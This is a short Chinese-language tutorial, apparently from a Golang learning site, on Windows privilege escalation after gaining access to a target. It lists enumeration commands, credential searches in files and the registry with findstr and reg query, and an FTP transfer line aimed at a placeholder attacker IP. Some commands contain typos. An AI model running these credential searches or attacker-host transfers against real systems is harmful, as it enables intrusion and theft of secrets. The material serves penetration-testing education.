Windows提权方法全解析

本文旨在总结Windows提权过程中常用的技巧与方法，帮助安全从业者在获得目标权限后，更全面地收集信息并提升权限。文章涵盖信息收集、敏感信息查找、文件传输以及漏洞扫描等多个方面。通过systeminfo、net users等命令，快速获取系统信息、用户信息和网络连接情况。同时，利用findstr等命令在文件和注册表中查找潜在的密码等敏感信息。此外，文章还介绍了通过NC、FTP等工具进行文件传输的方法，以及利用nessus、awvs等工具进行漏洞扫描的策略。本文旨在为Windows提权提供一份实用指南，助力安全研究人员更有效地进行渗透测试和安全评估。

当我们得到目标权限，如何尽可能全面的获取目标信息或者提权呢？本文让我们一起来学习吧！

信息收集

查找已安装的软件，正在运行的进程，查找已安装的修补程序，体系结构，操作系统版本等等。

获取系统信息

systeminfo

获取主机名

hostname

显示当前用户名

echo %username%

列出所有用户

net users

列出用户的相关信息

net users Administrator

当前网络信息

pconfig /all & route print & arp -a

当前网络连接

netstat -aton

利用此命令，我们可以排查系统中的异常连接。

检查启动的Windows服务器

net start

查找敏感信息

在系统中，目标可能会存放很多敏感的信息，如各类账号和密码。我们可以利用下面命令查找目标中存放的账号和密码信息。

findstr /si password *.txt

在文件中查找关键词内容。

findstr /spin "password" *.*

在注册表中搜索密码

reg query HKLM /f password /t REG_SZ /s

传输文件

我们可以利用NC等工具传送文件，也可以系统自带的工具进行文件传输。

echo open 攻击者ip 21> ftp.txt

当然，也可以与RDP共享文件夹

rdesktop (ip) -r disk:share=/home/kali

漏洞扫描

对于漏洞扫描，可以利用nessus awvs等工具进行漏送扫描。在前面的文章中已经讲到过，可以自行搜索。

理论要掌握，实操不能落！以上关于《Windows提权方法全解析》的详细介绍，大家都掌握了吧！如果想要继续提升自己的能力，那么就来关注golang学习网公众号吧！